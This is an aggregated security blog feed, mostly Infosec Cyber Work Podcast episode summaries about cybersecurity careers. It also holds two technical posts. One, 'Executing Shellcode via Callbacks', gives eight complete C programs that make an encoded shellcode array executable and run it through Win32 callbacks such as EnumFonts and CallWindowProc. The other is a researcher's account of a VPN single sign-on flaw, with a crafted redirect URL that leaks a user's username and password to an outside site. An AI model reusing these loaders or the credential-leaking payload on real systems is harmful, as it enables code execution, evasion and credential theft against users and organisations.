Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Manish Gupta is the founder and CEO of ShiftLeft, an innovator in automated application security and the leader in application security for developers. He previously served as the chief product and strategy officer at FireEye, where he helped grow the company from approximately $70 million to more than $700 million in revenue, growing the product portfolio from two to more than 20 products. Before that he was vice president of product management for Cisco’s $2 billion security portfolio. He also served as a  vice president/general manager at McAfee and iPolicy networks.

Manish has an MBA from the Kellogg Graduate School of Management, MS in engineering from the University of Maryland and a BS in engineering from the Delhi College of Engineering.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

What does a digital forensic investigator do in the government? | Cyber Work Podcast

12 April 2021 at 07:00
By: Infosec

Digital forensics professional Ondrej Krehel talks about the work of digital forensics in federal and government locations, the things he learned during a months-long attempt at decrypting a well-secured Swiss bank file and why finishing the research beats any degree you could ever have.

0:00 - Intro
2:11 - Ondrej's cybersecurity journal
5:33 - Career stepping stones
9:55 - The Swiss job
16:02 - Chasing the learning and experience
20:01 - Digital forensics on a government and federal scale
28:07 - Forensics collaboration on a case
30:46 - Favorite work stories
31:33 - How to improve infrastructure security
36:01 - Skills needed to enter digital forensics in government
41:31 - Unheard activities of digital forensics
43:48 - Where do I get work experience?
47:05 - Tips for digital forensic job hunters
52:19 - Work with LIFARS
57:50 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ondrej Krehel is a Digital forensics and cybersecurity professional. His background includes time with special cyber operations, cyber warfare and offensive missions and a court expert witness. His Forensic Investigation matters have received attention from Forbes, CNN, NBC, BBC, ABC, Reuters, The Wall Street Journal and The New York Times.

As you can see, Ondrej has a deep background in digital forensics and ethical hacking. He tells us about time spent as a guest lecturer at the FBI Training Academy, the current state of digital forensics in a federal and government context and gives us some info about how that realm differs from similar work done in for-profit or private companies.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Your beginner cybersecurity career questions, answered! | Cyber Work Live

5 April 2021 at 07:00
By: Infosec

Whether you’re looking for first-time work in the cybersecurity field, still studying the basics or considering a career change, you might feel overwhelmed with choices. How do you know you have the right knowledge? How do you make yourself stand out in the resume pile? How do you get jobs that require experience without having any experience?

Join a panel of past Cyber Work Podcast guests including Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack; Mari Galloway, co-founder of Women’s Society of Cyberjutsu and Victor “Vic” Malloy, General Manager, CyberTexas.

They provide top-notch cybersecurity career advice for novices, including questions from Cyber Work Live viewers.

0:00 - Intro
3:38 - I'm tech-savvy. Where do I begin?
10:55 - Figuring out the field for you
19:16 - Returning to cybersecurity at 68
23:30 - Finding a cybersecurity mentor
29:39 - Non-technical roles in the industry
36:21 - Breaking into the industry
43:46 - Standout resume and interview
51:31 - Is a certification necessary?
56:50 - Related skills beginners should have
1:04:35 - Outro

This episode was recorded live on March 25, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Executing Shellcode via Callbacks

1 April 2021 at 00:27

What is a Callback Function?

In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.

Analyzing an API

For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC.

BOOL EnumWindows(
  WNDENUMPROC lpEnumFunc,
  LPARAM      lParam
);

The function passes the parameters to an internal function called EnumWindowsWorker.

The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode.



By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode.

EnumFonts

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0);
}

EnumFontFamilies

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0);
}

EnumFontFamiliesEx

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0);
}

EnumDisplayMonitors

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0);
}

LineDDA

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0);
}

GrayString

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6);
}

CallWindowProc

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);
}

EnumResourceTypes

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0);
}

You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs.

Defending the grid: From water supply hacks to nation-state attacks | Cyber Work Podcast

29 March 2021 at 07:00
By: Infosec

This episode we welcome back Emily Miller of Mocana to discuss infrastructure security! We discuss the water supply hack in Oldsmar, Fla., the state of the nation’s cybersecurity infrastructure and brainstorm a TikTok musical that will make infrastructure security the next Hamilton! 

0:00 - Intro
3:02 - The last two years
5:54 - The impact of COVID
10:10 - The Florida hack
15:50 - Scope and scale of safety systems
18:50 - State and local government responses
23:20 - Logistical issues of security for infrastructure
26:45 - Ideal solutions to security 
31:33 - How to improve infrastructure security
39:42 - Aiming toward state and local government 
43:20 - Skills to learn for this work
48:13 - Future proofing this role
52:54 - Work and upcoming projects
55:55 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/​

– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Miller is the Vice President of Critical Infrastructure and National Security with Mocana Corporation. Miller has over 15 years of experience protecting our nation’s critical infrastructure in both physical and cybersecurity, focusing on control systems, industrial IoT and other operational technology. Prior to joining Mocana, Miller was a federal employee with the Department of Homeland Security’s Industrial Control Systems Cyber Emergency Response Team (ICS-CERT).  

On our previous episode back in early 2019, Miller and I talked about IoT security and infrastructure security, and how strengthening IoT and the security systems of our electrical, water and internet infrastructures isn’t just good business, it’s saving lives.

In the last two years, these issues have become even more noticeable and pronounced. Earlier this year, hackers were able to break into the network of a water purification system in a small town in Florida. By changing cleaning and purification levels in the town’s water supply, they could have realistically poisoned the whole town. Miller and I will be discussing not only how to address the problems we have now, but to help the new generation of cybersecurity professionals lead the charge to reverse a 50+ year trend of neglect against our country’s vital infrastructure, from power grids to roads.

About Infosec

Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

How to become a cybersecurity project manager | Cyber Work Podcast

22 March 2021 at 07:00
By: Infosec

This episode we chat with Jackie Olshack, a project management professional, about the role of project management in cybersecurity. We break down the specific functions of some major project management certifications, discuss things you can do tonight to start your project management training and hear why every security breach story on CNN is a cause for reflection.

0:00 - Intro
3:09 - Getting into cybersecurity project management
4:30 - What does a cybersecurity project manager do?
5:56 - Identity access management
8:35 - Average day for a project manager
9:57 - Managing project resources
11:36 - Getting into project management
12:54 - What happens without a project manager?
14:30 - Highs and lows of the job
17:22 - Training needed for the role
20:18 - What is identity access management?
24:12 - Preferred job experiences
28:02 - Interests and skills to succeed
31:17 - Where do I begin with tech lingo?
33:18 - What can I do to change careers?
35:00 - Has remote work changed workflow?
35:55 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/​
– Save your spot for the first ever Cyber Work LIVE: https://www.infosecinstitute.com/webinar/cyber-work-live-your-novice-cybersecurity-questions-answered/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jackie Olshack worked almost 20 years as legal secretary/paralegal for multiple patent corporate law firms. In the late 1990s, she began to recognize it was becoming harder to break the ceiling on her $58,000 salary as more and more attorneys were typing their own documents, managing their own calendars and making their own travel arrangements, putting the future of her career in jeopardy. After some introspection, she decided to go back to college and pursue a science degree with plans to go to law school to become a patent attorney — but couldn’t get her LSAT higher to get into even a fourth-tier law school. She now proudly thanks all the law schools that turned her down, preventing the dreaded $150,000-$200,000 law school debt she would have incurred. She is now an analytical, top performing SAFe trained senior project management professional with 14+ years of experience managing and implementing IT programs and projects successfully.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

How to become a security awareness manager | Cyber Work Podcast

15 March 2021 at 07:00
By: Infosec

Today we're talking about security awareness, specifically about the role of a security awareness manager, with Tiffany Franklin of Optiv. We talk about the importance of C-suite buy-in to a security awareness program, how to create challenging phishing simulators without making employees feel like victims of a gotcha attack and how being a fifth-grade math teacher can make you a better security awareness manager. 

0:00 - Intro
2:13 - Getting into cybersecurity
3:57 - Instructional design and technology
4:58 - Primary responsibilities in her role
6:38 - Security awareness work
9:40 - What is the division of work?
11:55 - Skills needed for this role
15:04 - Helping people when they fail
17:12 - Daily tasks
18:15 - Highs and lows of the job
22:00 - COVID phishing emails
22:40 - GoDaddy phishing and ethics
26:20 - Creating security awareness campaigns
31:14 - Optimal combo of tech and savvy
34:20 - How to get into cybersecurity
37:10 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/​
– Save your spot for the first ever Cyber Work LIVE: https://www.infosecinstitute.com/webinar/cyber-work-live-your-novice-cybersecurity-questions-answered/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Tiffany Franklin has over 13 years’ experience as a learning and development professional and is currently a Manager of Cybersecurity Education at Optiv. Tiffany and her team develop solutions that address the unique challenges of global organizations facing a wide array of cybersecurity risks, including security awareness training program courses, simulated phishing attacks, and training reinforcement materials. She has a background in education and has a Masters in Instructional Design & Technology.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Working at The Analyst Syndicate, AI ethics and sneaking into DARPA | Cyber Work Podcast

8 March 2021 at 08:00
By: Infosec

Diana Kelley of The Analyst Syndicate is on the podcast to chat about her 25-year-long career in security. She touches on artificial intelligence and machine learning ethics, sneaking into DARPA in the '70s and much more.

0:00 - Intro
3:14 - Getting into cybersecurity
11:51 - Cybersecurity changes in the past 25 years
15:34 - Choosing exciting cybersecurity projects
19:49 - What is The Analyst Syndicate?
23:00 - Editorial process at The Analyst Syndicate
26:26 - Changes in security from the pandemic
32:22 - Combating fatigue at home
34:35 - Digital transformation
39:25 - Bringing more women into cybersecurity
43:08 - Tips for hiring managers
46:16 - Using AI and ML ethically
51:50 - Tips to get into cybersecurity
55:15 - Kelley's next projects
56:18 - Learn more about Kelley
57:08 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/​
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Diana Kelley’s security career spans over 30 years. She is co-founder and CTO of SecurityCurve and donates much of her time to volunteer work in the cybersecurity community, including serving on the ACM Ethics & Plagiarism Committee, as CTO and board member at Sightline Security, board member and Inclusion Working Group champion at WiCyS, cybersecurity committee advisor at CompTIA, Advisory Council, Bartlett College of Science and Mathematics, Bridgewater State University and RSAC US Program Committee. Kelley produces the #MyCyberWhy series and is the host of BrightTALK’s The (Security) Balancing Act and co-host of the Your Everyday Cyber podcast. She is also a principal consulting analyst at TechVision Research and a member of The Analyst Syndicate. She was the Cybersecurity Field CTO for Microsoft, global executive security advisor at IBM Security, GM at Symantec, VP at Burton Group (now Gartner) and a manager at KPMG. She is a popular keynote speaker, the co-author of the books "Practical Cybersecurity Architecture" and "Cryptographic Libraries for Developers," has been a lecturer at Boston College's Masters program in cybersecurity, the EWF 2020 Executive of the Year and one of Cybersecurity Ventures 100 Fascinating Females Fighting Cybercrime.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Working at Google: Security, anti-abuse and artificial intelligence

1 March 2021 at 08:00
By: Infosec

Elie Bursztein joins us on today’s episode to talk all about his role as chief research lead for anti-abuse at Google! Along with Infosec Founder Jack Koziol and Cyber Work Podcast host Chris Sienko, they discuss the difference between the practices of security and anti-abuse, the difference between protecting Google the company and Gmail the product, and the aspects of security and anti-abuse that AI will never be able to do.

0:00​ - Intro
2:35 - Starting a career in cybersecurity
12:57 - Entering the industry today
19:09​ - Career progression
42:18​ - Tech and academia collaboration for anti-abuse research
52:26​ - Getting hired in anti-abuse and cybersecurity
1:01:09​ - Future of machine learning as AI hacking
1:16:26 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Elie Bursztein leads the Security and Anti-Abuse Research team at Google. He focuses on deep learning and cryptography research, and among many other accomplishments, broke SHA-1. His website, elie.net, is packed with informative articles and online talks he’s given over the years, a veritable master-class for any cybersecurity aspirants. He also describes himself as a wearer of berets and a purveyor of magic tricks in his spare time.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Stealing user passwords through a VPN’s SSO

25 February 2021 at 15:57

Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…

This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.

One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:

https://backendserver/login?username={{username}}&password={{password}}

When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.

In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.

The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.

It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.

Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.

When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.

This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:

  • Know the location of an insecure redirect on any application accessed through the VPN
  • Convince an authenticated user to visit a maliciously prepared URL

For instance, if I can get a user to click on the following link:

https://backendapp/redirect?url=https://www.scrt.ch/?user={{username}}&password={{password}}

The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.

HTTP/1.1 302 Found
Location: https://www.scrt.ch/?user=USER&password=Password01

Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.

Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.

CompTIA Security+ SY0-601 update: Everything you need to know

25 February 2021 at 08:00
By: Infosec

CompTIA’s Security+, the most popular cybersecurity certification in the world, is getting an overhaul for 2021! The updated exam (from SY0-501 to SY0-601) re-aligns the certification to match the most in-demand entry-level cybersecurity skills and trends of 2021.

Get insights into the changes directly from the source, Patrick Lane, Director of Products at CompTIA, as he explains how Security+ is evolving to remain the “go-to” certification for anyone trying to break into cybersecurity.

0:00​ - Intro
4:10 - What is the CompTIA Security+ certification?
5:05​ - Security+ baseline technical skills
16:00​ - Security+ helps solve an industry problem
21:35​ - Security+ job roles
31:45​ - Job role skills and exam release
37:35​ - CompITA Cybersecurity Career Pathway
47:27​ - SY0-601 vs SY0-501: 6 big changes
52:10 - Security+ exam details
56:48- Live Q&A
1:02:13 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– 7 days of free Security+ training with your Infosec Skills trial: https://www.infosecinstitute.com/skills/learning-paths/comptia-security/
– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Patrick directs IT workforce skills certifications for CompTIA, including Security+, PenTest+, CySA+ and CASP+. He assisted the U.S. National Cybersecurity Alliance (NCSA) to create the “Lock Down Your Login” campaign to promote multi-factor authentication nationwide. He has implemented a wide variety of IT projects, including an intranet and help desk for 11,000 end users. Patrick is an Armed Forces Communications and Electronics Association (AFCEA) lifetime member, born and raised on U.S. military bases, and has authored and co-authored multiple books, including “Hack Proofing Linux: A Guide to Open Source Security.”

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Launch your cybersecurity career by finding a mentor

22 February 2021 at 08:00
By: Infosec

Learn how mentors in the cybersecurity community can help launch your career on today’s episode featuring Mike Gentile, the Founder and CEO of CISOSHARE. Mike discusses the CyberForward program, which creates a mentorship and support system for new students of cybersecurity — often those with diverse cultural or economic backgrounds! CyberForward addresses not just skills training, but quality of life issues that might prevent entrance to the security field. If you’re feeling blocked and unsure how to enter the industry, you’ll really want to hear this episode!

0:00​ - Intro 
2:24 - Starting a career in cybersecurity
5:39​ - Creating CISOHandbook.com
7:35 - What is CISOSHARE?
9:38​ - What is CyberForward?
11:15​ - Thoughts on the cybersecurity skills gap 
17:40​ - Mentoring students through CyberForward
25:13​ - The training value system is broken
29:33 - Creating a network of support
32:44 - Helping the “beaten down” break through
36:52 - What’s next for CyberForward?
39:15 - Advice for getting started in cybersecurity
43:28​ - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/ 
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Mike Gentile is the Founder, President and CEO of CISOSHARE, headquartered in San Clemente, CA. He has led the company since inception to become a global leader in security program services and solutions. Initially an experiment, the CISOSHARE culture centers around learning and teaching to make the confusing security discipline understandable.

In 2019, Mike founded CyberForward Academy by CISOSHARE using this learning and teaching culture to address both the cybersecurity resource shortage and the livable wage gap issues felt in many communities. This partner-enabled professional development program identifies and then rapidly develops effective job-ready cybersecurity professionals.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Malware analyst careers: Getting hired and building your skills

15 February 2021 at 08:00
By: Infosec

What does a malware analyst do? Find out on today’s episode featuring Dr. Richard Ford, Chief Technology Officer of Cyren. Richard talks about breaking into the field, whether a computer science degree is or isn’t essential for the role, and an early program he wrote to brag about his high score to his classmates!

0:00​ - Intro
2:30 - Richard’s cybersecurity origin story
6:07​ - Being an IBM anti-malware researcher in the 90s
9:18​ - How malware has evolved
11:27​ - Major career milestones
18:14​ - Two types of malware analysts
21:42​ - How to get hired as an entry-level analyst
25:45​ - Day-to-day malware analyst tasks
29:40 - Transitioning to an analyst role without any experience
34:30 - What does Cyren do?
37:25​ - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Dr. Richard Ford is the Chief Technology Officer of Cyren. He has over 25 years’ experience in computer security, working with both offensive and defensive technology solutions. During his career, Ford has held positions with Forcepoint, Virus Bulletin, IBM Research, Command Software Systems and NTT Verio. Dr. Ford has also worked in academia, having held an endowed chair in Computer Security, and worked as Head of the Computer Sciences and Cybersecurity Department at the Florida Institute of Technology. Ford holds a bachelor’s, master’s and D.Phil. in Physics from the University of Oxford. In addition to his work, he is an accomplished jazz flutist and instrument rated private pilot.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Gamification: Making cybersecurity training fun for everyone

8 February 2021 at 08:00
By: Infosec

We’re making cybersecurity training fun with today’s episode, which is all about gamification! Jessica Gulick of Katczy discusses the Wicked6 Cyber Games, the Women’s Society of Cyberjutsu, and the ways in which cyber games could rise to the ranks of other televised esports.

0:00​ - Intro 
2:16​ - Starting in cybersecurity after 9/11
3:28​ - Major career milestones so far
7:08​ - Day to day duties as a CEO 
11:00​ - Cybersecurity burnout and ongoing learning
13:16​ - Let’s dig into gamification!
19:11​ - How to design deeper gamification 
22:32 - Selling gamification to leadership
28:45 - Wiked6 Cyber Games
35:10 - Gamified security awareness campaigns
37:42​ - Can gamification help grow the talent panel
